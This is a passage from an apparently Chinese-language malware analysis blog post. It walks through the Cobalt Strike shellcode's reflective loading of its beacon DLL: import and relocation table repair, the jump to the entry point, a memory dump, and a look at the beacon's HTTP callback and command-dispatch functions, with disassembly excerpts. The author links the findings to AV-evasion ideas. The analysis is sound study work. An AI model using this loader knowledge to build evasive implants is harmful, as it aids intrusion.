地址表,那么结构中的Function就是地址,指向名称,AddressOfData就是名称结构体的地址,具体如下:
struct _IMAGE_THUNK_DATA{    union {       DWORD ForwarderString;       DWORD Function; //被输入的函数的内存地址       DWORD Ordinal; //高位为1则被输入的API的序数值       DWORD AddressOfData;//高位为0则指向IMAGE_IMPORT_BY_NAME 结构体二    }u1;}IMAGE_THUNK_DATA;//IMAGE_THUNK_DATA64与IMAGE_THUNK_DATA32的区别,仅仅是把DWORD换成了64位整数。
struct _IMAGE_IMPORT_BY_NAME { WORD Hint;//指出函数在所在的dll的输出表中的序号 BYTE Name[1];//指出要输入的函数的函数名} IMAGE_IMPORT_BY_NAME, *PIMAGE_IMPORT_BY_NAME;
从图中可以看出,获取了_IMAGE_THUNK_DATA的地址,然后分别保存里面两个重要的地址,一个是导入地址表,一个是导入名称表
然后根据导入地址表的地址,取其第一个成员的值,判断,如果首位为1,就是按照序号导入,首位如果为0,那么该地址就是存有名称的一个结构体,即上文的_IMAGE_IMPORT_BY_NAME
可以看到,KERNEL32.DLL是按照名称导入的,接着又一次进行了复制,把名称复制到了之前在文件尾部空的一块空间里。
最后通过GetProcAdress函数,(参数为模块基址和函数名)获取函数地址
然后存入到导入地址表对应的结构中,也就是
_IMAGE_THUNK_DATA 的Function,至此这样一个函数就修复完毕
然后就是一顿循环
然后循环每个模块,依次修复导入表,然后返回

2.7.2修复重定位表

进来就先经过一个跳来跳去又回来的call(跟刚刚一样对于理解整体脉络没啥意义的)
然后就进入了这个call,而刚进来这段就很敏感了,了解PE文件的童鞋肯定知道。之所以产生重定位的原因是因为,基址的随机化。
也就是说,当把PE文件直接加载到内存的时候,因为ImageBase更改了,所以,代码段中的很多偏移变调了,原本是相对于在文件里写死的Imagebase的,但是它变了,操作系统会自动帮助你修改这些偏移,而之所以会自动帮助你修改,是因为有重定位表。那么现在就要手动(代码)修改了
所以第一步先获取到imagebase的差值,以及重定位表的位置
关于重定位表,结构如下,这个表是个分成可变长度的块,每块的结构如下
第一个DWORD:基础地址
第二个DWORD:表大小
第三部分开始,每个WORD保存一个小地址
基础地址+小地址,构成了RVA ---> RVA + 模块基址 ----> VA
注意:这个VA指向的是偏移,也就是要更改的偏移,所以,找到这个偏移值,还有根据基址的变化,更改其值,才算是修复完成
补充一句:这些偏移值,就是那些call,jmp等指令跳来跳去用到的偏移。
然后做一些基础判断,数据目录中的重定位表的RVA和大小是否为0
然后就进入了关键环节
//[ebp-0x4] ---> 保存的是第一个重定位表的VA024F8471  | 8B4D FC           | mov ecx,dword ptr ss:[ebp-4]      |    //[ebp+0x8] ---> 保存的是新区域的基址024F8474  | 8B55 08           | mov edx,dword ptr ss:[ebp+8]      |    //取当前重定位表里的大地址累加到模块基址上024F8477  | 0311              | add edx,dword ptr ds:[ecx]        |024F8479  | 8955 F4           | mov dword ptr ss:[ebp-C],edx      |    //取当前重定位表的块大小,减8 再除以2    //得到的就是当前表共计多少个小项(也就是偏移值的个数)    //保存在[ebp-0x10]024F847C  | 8B45 FC           | mov eax,dword ptr ss:[ebp-4]      |024F847F  | 8B48 04           | mov ecx,dword ptr ds:[eax+4]      |024F8482  | 83E9 08           | sub ecx,8                         |024F8485  | D1E9              | shr ecx,1                         |024F8487  | 894D F0           | mov dword ptr ss:[ebp-10],ecx     |    //获取首个小地址的位置--> [ebp-8]024F848A  | 8B55 FC           | mov edx,dword ptr ss:[ebp-4]      |024F848D  | 83C2 08           | add edx,8                         |024F8490  | 8955 F8           | mov dword ptr ss:[ebp-8],edx      |    //取出块个数,减一,接下来进入循环024F8493  | 8B45 F0           | mov eax,dword ptr ss:[ebp-10]     |024F8496  | 8B4D F0           | mov ecx,dword ptr ss:[ebp-10]     |024F8499  | 83E9 01           | sub ecx,1                         |024F849C  | 894D F0           | mov dword ptr ss:[ebp-10],ecx     |024F849F  | 85C0              | test eax,eax                      |
对于重定位表中,每个小项的值是有约定的,两个字节共计16位,当高四位为0x3,也就是0011的时候,该值对应的才是实际地址。
后面的代码如下:
//取出小项然后右移0xc,也就是只剩下最高4位,然后跟F求与运算    //然后把ax移动到ecx,跟3比较024F84A7  | 8B55 F8           | mov edx,dword ptr ss:[ebp-8]      |024F84AA  | 66:8B02           | mov ax,word ptr ds:[edx]          |024F84AD  | 66:C1E8 0C        | shr ax,C                          |024F84B1  | 66:83E0 0F        | and ax,F                          |024F84B5  | 0FB7C8            | movzx ecx,ax                      |024F84B8  | 83F9 0A           | cmp ecx,A                         | A:'\n'
024F84ED | 8B45 F8 | mov eax,dword ptr ss:[ebp-8] |024F84F0 | 66:8B08 | mov cx,word ptr ds:[eax] |024F84F3 | 66:C1E9 0C | shr cx,C |024F84F7 | 66:83E1 0F | and cx,F |024F84FB | 0FB7D1 | movzx edx,cx |024F84FE | 83FA 03 | cmp edx,3 |
满足高四位为0x3,后12位就是小项对应地址值
然后就是根据偏移值和相对模块基址修改偏移:
简单理解公式就是:
旧地址 - 旧基址 == 新地址 - 新基址
新地址 = 旧地址 - 旧基址 + 新基址
其中,新基址 - 旧基址,就是我们前文求得并保存的
而通过重定位表找到的位置里就是旧地址,那么新地址自然轻松得到

接着又是一顿大循环,各种修改。
至此,重定位表修改完成。

2.8收尾

接着进入最后的收尾工作,先把之前保存在堆栈里的几个api的地址清空掉,也就是最开始莫名分配了好多空间的位置
找到原PE文件的入口点,在可选PE头的0x10位置,也就是OEP,并修改该新区域入口位置
最后传入三个参数,直接进入完全加载 到内存的pe文件中,开始执行。

3.收尾和总结

3.1关于第三段文件

当进入第三段文件执行的时候,就算是真正开始了远控文件的旅行,不过那是另一段旅程了,就不在这篇文章里写了(必经本篇篇幅已经好多)
但是,还是还是简单的把那个文件的一些分析写在下面。
考虑到已经进入一个远控软件的核心功能部分,按照我的想法,为了方便,还是把内存dump下来,通过静态和动态结合的方式来。因此,祭出Scylla。
首先运行到新内存区域入口处
然后点转储内存
选择所处模块的区域,转储PE,因为该修复的都修复了,所以直接转pe文件,也不同修复转储了。(后面的.mem文件要不要都无所谓了)
注意,这是一个DLL文件,所以保存为dll后缀(其实无妨,因为是为了静态分析)
通过下图判断是否为DLL文件
从微软官方文档对IMAGE_FILE_HEADER中成员Characteristics的描述,这1位表示的是否为dll文件
保存这个文件后,拖入IDA来看一下这个文件有哪些内容
因为逆起来太耗时间(其实是我能力还不够~),所以直接F5了,可以看到,映入眼帘的就是dll文件的入口函数。
fdwReason==1是进程启动的时候,也就是loadlibrary这个dll文件的时候,推测是做一些初始化的部分。就不进入看了
我们进入下面的sub_234131B()函数
这个函数是主要的执行函数,大概包括,定时,封包,发包,以及执行任务
这部分是准备内容,打开能看到一些缓冲区分配,处理数据包等
然后下面进入循环,处理数据包并执行任务
其中sub_2341F64()sub_234257f()函数是设定http请求,以及发送http消息,应该是做服务端的回连,以及获取指令的。如图所示:
然后结果传入sub_2348393()函数,循环调用函数sub_2347E9E(),执行指令
sub_2347E9E()这个函数是一个分派函数,不同指令分派给不同的函数执行,这应该就是远控的中枢部分,共计100多个case,可见cs的强大。

3.2小结

至此CS的上线之旅就结束了,其实cs的shellcode也是非常经典了。
从shellcode加载:
到最终远控文件加入内存并执行:
通过一路分析过来,可以看到,其中包含了PE,winAPI,加解密等零碎的知识(对于初入逆向的我来说,确实相当吃力<累瘫>),想必通过这部分细节的了解,后面对于免杀的思路也会有更多尝试的点。
因为整篇内容不少,难免会有一些小错误,还请各位师傅不吝赐,多指教。感谢~~
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